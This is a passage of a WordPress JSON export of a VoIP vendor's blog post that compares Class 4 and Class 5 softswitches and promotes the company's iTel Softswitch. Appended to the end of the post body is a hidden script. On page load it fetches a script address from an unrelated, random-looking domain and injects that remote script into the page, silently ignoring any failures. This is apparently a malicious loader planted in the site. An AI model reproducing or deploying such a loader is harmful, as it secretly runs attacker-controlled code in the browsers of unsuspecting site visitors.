style=\"text-align: center;\"><strong>Main Role<\/strong><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Routes wholesale, long-distance calls between carriers.<\/span><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Routes retail, local calls to end-users, and provides subscriber features.<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p style=\"text-align: center;\"><strong>Primary User<\/strong><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Wholesale carriers, large telecom operators.<\/span><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">VoIP service providers, businesses, residential users.<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p style=\"text-align: center;\"><strong>Traffic Type<\/strong><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">High volume, inter-network (e.g., international calls).<\/span><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Lower volume, local (e.g., calls within a city).<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p style=\"text-align: center;\"><strong>Key Focus<\/strong><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Cost-efficient routing, high capacity, interconnectivity.<\/span><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">End-user features, subscriber management, value-added services.<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p style=\"text-align: center;\"><strong>Core Features<\/strong><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Least Cost Routing (LCR), massive call capacity, real-time wholesale billing.<\/span><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Call forwarding, voicemail, Hosted PBX, subscriber billing, IVR.<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p style=\"text-align: center;\"><strong>How they Work<\/strong><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Connects to multiple Class 5 softswitches to route long-haul traffic.<\/span><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Connects end-user devices and often hands off long-distance calls to Class 4 softswitches.<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2><span class=\"ez-toc-section\" id=\"Benefits_of_Using_Softswitch\"><\/span>Benefits of Using Softswitch<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-4403 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/08\/Benefits-of-using-softswitches.jpg\" alt=\"Benefits of using softswitches\" width=\"700\" height=\"377\" \/><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Cost_Effectiveness\"><\/span><span style=\"font-weight: 400;\">Cost Effectiveness<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">In terms of cost, softswitches offer savings from various aspects. First, there is no need for expensive dedicated hardware, thus saving money on maintenance and space. Second, due to efficient routing and VoIP use, soft switches significantly reduce the long-distance and international call charges. Furthermore, when it comes to scaling a business, the addition and removal of lines are easy, and there is no need for additional hardware investment.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Flexibility_and_Functionality\"><\/span><span style=\"font-weight: 400;\">Flexibility and Functionality<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The flexibility and functionality offered by softswitches are depicted by 3 main aspects. Softswitches are not just limited to basic call routing. Rather, they support a wide range of advanced features such as voicemail, conferencing, and a lot more. Moreover, softswitches perform protocol interoperability, i.e., connect different types of networks and devices seamlessly regardless of the underlying protocols. Last but not least, softswitches allow customization, i.e., adapt to specific needs and services.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Network_Management_and_Efficiency\"><\/span><span style=\"font-weight: 400;\">Network Management and Efficiency<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Softswitches play a pivotal role in the management of networks through real-time traffic monitoring. These switches provide detailed insights into call patterns and network performance. Moreover, the advanced security features and fraud prevention tools offered by softswitches improve the overall security of the network. When it comes to efficiency, softswitches are easier to update, and bug fixes can also be done effortlessly compared to hardware-based switches.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_do_Class_4_and_Class_5_Softswitch_work_together\"><\/span>How do Class 4 and Class 5 Softswitch work together?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">In today\u2019s modern VoIP networks, class 4 and class 5 softswitches represent two different entities that serve different functions, but they often work in collaboration to facilitate end-to-end voice communication.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">When a user initiates a call, the Class 5 Softswitch handles the local routing. If the call is to be routed to a distant location, then the Class 5 Softswitch hands over the call to a Class 4 Softswitch. As the Class 4 softswitch takes over, it leverages its advanced routing capabilities and identifies the most cost-effective route for the call to reach its international destination.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"iTel_Softswitch_-_Hybrid_Softswitch\"><\/span>iTel Softswitch &#8211; Hybrid Softswitch<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4357 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/01\/iTel-switch.jpg\" alt=\"iTel switch\" width=\"543\" height=\"141\" \/><\/p>\n<p><span style=\"font-weight: 400;\">iTel Switch is a single Softswitch platform for global Retail, Wholesale, Calling Card, and Call Shop businesses. Being a customizable and scalable VoIP Softswitch with integrated billing, it serves as an ideal platform for all VoIP service providers who want to provide VoIP calling services. Multilevel reseller support, easy end-user interface, <\/span><a href=\"https:\/\/www.revesoft.com\/products\/itel-billing\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">integrated billing<\/span><\/a><span style=\"font-weight: 400;\">, intelligent routing, and class 4 &amp; 5 Softswitch features are some of the benefits of iTel Switch. If you want a class 4\/5 hybrid switch, iTel Softswitch will support your needs as it can handle high-volume traffic. So, if your SIP Softswitch has a higher capacity, it can handle peak-hour calls.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Ready_to_Choose_the_Right_Softswitch\"><\/span>Ready to Choose the Right Softswitch?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A Real-World Question From Reddit<\/p>\n<blockquote><p><strong>So I want to get a VOIP system set up, and i&#8217;m a little confused about the steps I&#8217;d need to take in order to accomplish this. I&#8217;m a software developer so a bit of a technical explanation would be helpful. From my understanding, the first step in setting up a VOIP system is purchasing a Softswitch that doubles as a IP-PBX system. After this,what are my next steps? Do most soft switches contain functionality that maps outgoing calls to the correct provider? And for incoming calls, how do I establish a phone number? Is there a fee? Or does the software that comes installed on the switch allow me to choose my number? Lastly, assuming that I have set this up, am I a VOIP provider? &#8211; <\/strong>Source: <a href=\"https:\/\/www.reddit.com\/r\/VOIP\/comments\/k0gf5k\/voip_setup_questions\/\" target=\"_blank\" rel=\"noopener ugc\">Reddit<\/a><\/p><\/blockquote>\n<p><span style=\"font-weight: 400;\">According to Precedence Research, \u201cThe global VoIP market size is predicted to increase from USD 161.79 billion in 2025 to approximately USD 415.20 billion by 2034, expanding at a CAGR of 11.04% from 2025 to 2034\u201d. The VoIP industry is passing through a revolutionary phase with new developments in the IP communications arena. Nowadays, many young entrepreneurs are getting into the VoIP business owing to the boom in this field. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">The above question is a great example of the confusion many new entrants face when exploring VoIP infrastructure. A Class 5 Softswitch would typically serve as the IP-PBX system the user mentions, offering features like number assignment, voicemail, and user management. However, if you&#8217;re also routing calls between providers or managing multiple carrier relationships, a Class 4 Softswitch becomes essential.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Most commercial softswitch solutions, like those offered by REVE Systems, provide modules for SIP trunking, number provisioning, and LCR (Least Cost Routing). And yes, once your system is set up and you\u2019re handling traffic for others, you are technically operating as a VoIP provider.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The communication business is growing rapidly with the increase in the subscriber base. VoIP Service providers are therefore trying their best to offer quality services by upgrading the existing VoIP infrastructure. Here&#8217;s what we suggest:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Go for Class 4 Softswitch if you&#8217;re a carrier focusing on long-distance call routing, cost optimization, and high scalability.\u00a0<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Go for Class 5 if you&#8217;re serving end-users, i.e., residential or business customers, providing them with features like voicemail, IVR, call forwarding, and call recording<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Consider a hybrid platform if you need both Class 4 and Class 5 functionality\u00a0<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">At REVE Systems, we offer robust and scalable VoIP Softswitch solutions: Class 4 Softswitch and Class 5 iTel Softswitch. Our products are designed to help you run your wholesale and retail VoIP services with ease, offering best-in-class security, flexibility, and availability.<\/span><\/p>\n<p><i><span style=\"font-weight: 400;\">The global softswitch market size was USD 531 million was 2021, and the market is projected to touch USD 870 million by 2031, exhibiting a CAGR of 5.0% during the forecast period (<\/span><\/i><a href=\"https:\/\/www.businessresearchinsights.com\/market-reports\/softswitch-market-106840\" target=\"_blank\" rel=\"noopener\"><i><span style=\"font-weight: 400;\">Source<\/span><\/i><\/a><i><span style=\"font-weight: 400;\">).<\/span><\/i><span style=\"font-weight: 400;\"> Looking at the statistics, it is evident that investing in innovative communication tools like the Class 4 switch and Class 5 switch is certainly a wise move. Our industry experts are always ready to assist you with any type of queries you may have.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Frequently_Asked_Questions\"><\/span>Frequently Asked Questions<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"What_is_the_main_difference_between_Class_4_and_Class_5_softswitches\"><\/span>What is the main difference between Class 4 and Class 5 softswitches?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Class 4 and Class 5 softswitches differ in terms of their functionality and target users. Class 4 softswitches route high-volume, long-distance calls between carriers. While Class 5 Softswitch is meant for end users to provide them with features like voicemail, call forwarding, and IVR<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Can_a_VoIP_provider_use_both_Class_4_and_Class_5\"><\/span>Can a VoIP provider use both Class 4 and Class 5?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Of course, several VoIP providers around the world use both types of softswitches as it helps them maintain end-to-end control of wholesale and retail operations.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Which_one_is_better_-_Class_4_or_Class_5\"><\/span>Which one is better &#8211; Class 4 or Class 5?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Well, the best software depends on your specific business needs. Class 5 is ideal for user-facing features and services, while Class 4 is better for handling high-volume call traffic and routing.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"What_are_some_advanced_calling_features_offered_by_Class_5_softswitches\"><\/span>What are some advanced calling features offered by Class 5 softswitches?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Some of the advanced calling features offered by Class 5 softswitches are voicemail, call forwarding, Interactive Voice Response (IVR), caller ID, call recording, conference calling, call hold, and transfer.\u00a0<\/span><\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Looking_for_VoIP_SoftSwitch_for_Your_Business\"><\/span>Looking for VoIP SoftSwitch for Your Business?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/registration\/free-voip-softswitch\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Read_Also\"><\/span><strong>Read Also<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Features_to_Look_for_While_Buying_a_Class_4_Softswitch\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/features-look-buying-class-4-softswitch\/\" target=\"_blank\" rel=\"noopener\">Features to Look for While Buying a Class 4 Softswitch<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"7_Benefits_of_Hosted_VoIP_Service_for_Startups\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/benefits-hosted-voip-service\/\" target=\"_blank\" rel=\"noopener\">7 Benefits of Hosted VoIP Service for Startups<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>For telecom carriers handling high-volume call traffic and VoIP providers serving end users with feature-rich calling, one of the most critical decisions is to select the right softswitch that helps them gain success in their business. This is the reason why understanding the difference between Class 4 and Class 5 softswitches is essential for them. [&hellip;]<\/p>\n","protected":false},"author":8,"featured_media":4408,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[78],"tags":[],"class_list":["post-375","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-softswitch"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/375","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=375"}],"version-history":[{"count":59,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/375\/revisions"}],"predecessor-version":[{"id":6323,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/375\/revisions\/6323"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/4408"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=375"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=375"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=375"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}